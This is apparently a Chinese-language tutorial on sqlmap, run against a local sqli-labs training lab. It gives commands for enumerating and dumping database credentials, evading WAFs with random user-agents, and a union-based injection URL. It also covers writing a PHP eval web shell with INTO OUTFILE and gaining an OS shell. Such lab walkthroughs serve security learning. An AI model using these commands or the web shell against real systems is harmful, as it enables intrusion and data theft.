关于命令


1:--dbms=mysql (数据库为mysql)   ———一般来说脚本为php,可以猜测是mysql数据库


      如果数据库是sqlserver:--dbms=mssql        ———如果脚本为aspx或者asp,可以猜测是mssql


2:--random-agent :是通过/usr/share/sqlmap/txt/user-agents.txt字典随机生成一个user-agent


       (解释2: 使用任意浏览器进行绕过,尤其是在WAF配置不当的时候)


      -- user-agnet:是手动指定一个user-angent


3:--flush-session   清除缓存


4:--level 3 --risk 2    (可视情况增加)加了后会跑得更全面


    ps:level最高等级是5,risk最高等级为3,等级越高越全面,但速度会减慢


5:出数据:--current-db   查询当前数据库


                   -D security --tables  查询所有表


                   -D security -T users --columns   查询所有字段


                   -D security -T users -C username,password --dump  出数据


6,--is-dba  当前用户是否为管理员权限


7,--roles  列出数据库管理员角色


8,--sql-shell    执行mysql的一些命令,相当于navicat


9.辅助参数


    --hex


    --no-cast


10,--technique   判断是否有堆叠注入


 


使用测试


ps:此处以本机去测试


1,扫描漏洞——命令:python2 sqlmap.py -u ​​http://127.0.0.1/sql/Less-2/?id=1​​  --dbms=mysql --random-agent


显示一下内容即成功:


SQLmap_数据库


ps:关于两个选项


SQLmap_mysql_02


 


SQLmap_数据_03


 


pps:其余playload:python2 sqlmap.py -u ​​http://localhost/sqli-labs-master/Less-2/?id=1​​ --dbms=mysql --random-agent --flush-session --level 3 --risk 2


 


2,出数据——命令:python2 sqlmap.py -u ​​http://127.0.0.1/sql/Less-2/?id=1​​  --dbms=mysql --random-agent --current-db


SQLmap_数据库_04


根据查询出来的数据库,查询其他数据


命令:python2 sqlmap.py -u ​​http://localhost/sqli-labs-master/Less-2/?id=1​​ --dbms=mysql --random-agent -D security --tables


SQLmap_数据_05


命令:python2 sqlmap.py -u ​​http://localhost/sqli-labs-master/Less-2/?id=1​​ --dbms=mysql --random-agent -D security -T users --columns


SQLmap_数据库_06


命令:python2 sqlmap.py -u ​​http://localhost/sqli-labs-master/Less-2/?id=1​​ --dbms=mysql --random-agent -D security -T users -C username,password --dump


SQLmap_数据库_07


 


 


--sql-shell


1,必要条件:支持堆叠注入,要有写的权限


  ps:判断堆叠注入命令:sqlmap --technique


 


2,命令:python2 sqlmap.py -u ​​http://localhost/sqli-labs-master/Less-2/?id=1​​ --dbms=mysql --random-agent --sql-shell


SQLmap_python_08


 


3,如果符合必要条件:


         【1】--sql-shell


         【2】select "<?php @eval($_POST[1]);?>" into outfile "指定路径";


 


 


--os-shell


原理:生成一个木马( 就是用into outfile函数将一个可以用来上传的php文件写到网站的根目录下)


1,需要的条件:需要绝对路径+ssecure_file_priv不为NULL,需要dba权限


       a)查询dba权限


命令:python2 sqlmap.py -u ​​http://localhost/sqli-labs-master/Less-2/?id=1​​ --dbms=mysql --random-agent --is-dba


SQLmap_mysql_09


        ps:TRUE 高权限,有一定的几率拿权限


       b)查询是否为NULL


方法一:sql-shell/navicat处:select @@secure_file_priv


SQLmap_mysql_10


方法二:url处:​​http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,2,@@secure_file_priv​​ 


SQLmap_mysql_11


pps:悲伤故事之:如果为null,大概率拿不到权限


 


2,选择过程


    1.选择脚本


    2.选择绝对路径


             [1]已经罗列出来的绝对路径


             [2]自定义的路径


             [3]路径字典


             [4]暴力破解


SQLmap_数据库_12


 


3,执行cmd命令


SQLmap_数据库_13 


ps:如果为NULL


无法拿到权限


SQLmap_数据库_14